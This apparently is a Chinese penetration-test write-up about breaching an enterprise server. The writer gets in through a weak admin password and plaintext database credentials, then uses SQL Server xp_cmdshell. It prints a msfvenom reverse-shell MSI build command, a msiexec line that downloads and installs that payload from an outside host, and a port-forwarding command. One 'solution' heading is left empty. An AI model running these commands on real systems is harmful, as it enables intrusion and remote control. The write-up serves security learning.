艰难而深刻的渗透测试经历

前言

从未想过拥有sa权限的SQL Server竟然隐藏着如此多的陷阱。

直接记录一次成功渗透的全过程，遇到太多坑，难以一一描述。

未提及的攻击方式并非不存在，但确实没有覆盖大部分。这是一次对某巨型企业的渗透项目，文中存在重复编码的情况，请注意。

Web打点

在经过一周的信息收集后，发现一个疑似系统配置的web系统，且存在弱口令（为何每个企业都存在弱口令呢……）

http://dataxxxxxxxx:9xx7/index.html

通过尝试admin/123456登录成功！

各个功能逐一翻找，未找到可以获取shell的位置，非常幸运。尽管存在配置文件，但所有密码都以相同长度的星号显示。

拿到权限

发现一个日志功能，同时找到连接数据库的JSON，其中部分数据库密码是明文的。测试后找到几个允许外连的数据库，选择其中一个下手（主要因为该密码短且输入起来顺畅）。

由于拥有SQL Server的sa权限，直接开启xp_cmdshell进行攻击。

反弹Shell

对方当前库对应的web系统没有开放，因此无法写webshell进行访问。选择使用MSI形式反弹。

<code>msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.103 lport=7777 -f msi > test.msi</code>

然后使用xp_cmdshell执行命令，获得session。

<code>msiexec.exe /q /i https://tongjingi.cn/test.msi</code>

内网入侵

查看机器进程，继续信息搜集，未发现杀软，无需免杀。

尝试使用Kiwi加载获取管理员明文口令，但多次尝试未果，决定绕过直接添加管理员。

开放3389端口，使用mstsc连接。但3389不通，需进行端口转发，使用msf的portfwd进行转发。

<code>portfwd add -l 3389 -p 3389 -r [目标IP]</code>

成功连通，但出现奇怪错误，解决方法是修改自己本机的注册表。

解决方式：

内网深入

成功连接后，发现内网无存活主机。后续与客户确认，发现该服务器是公司内部的一台孤儿机。

希望各位管理员严防弱口令，避免犯下这种低级错误。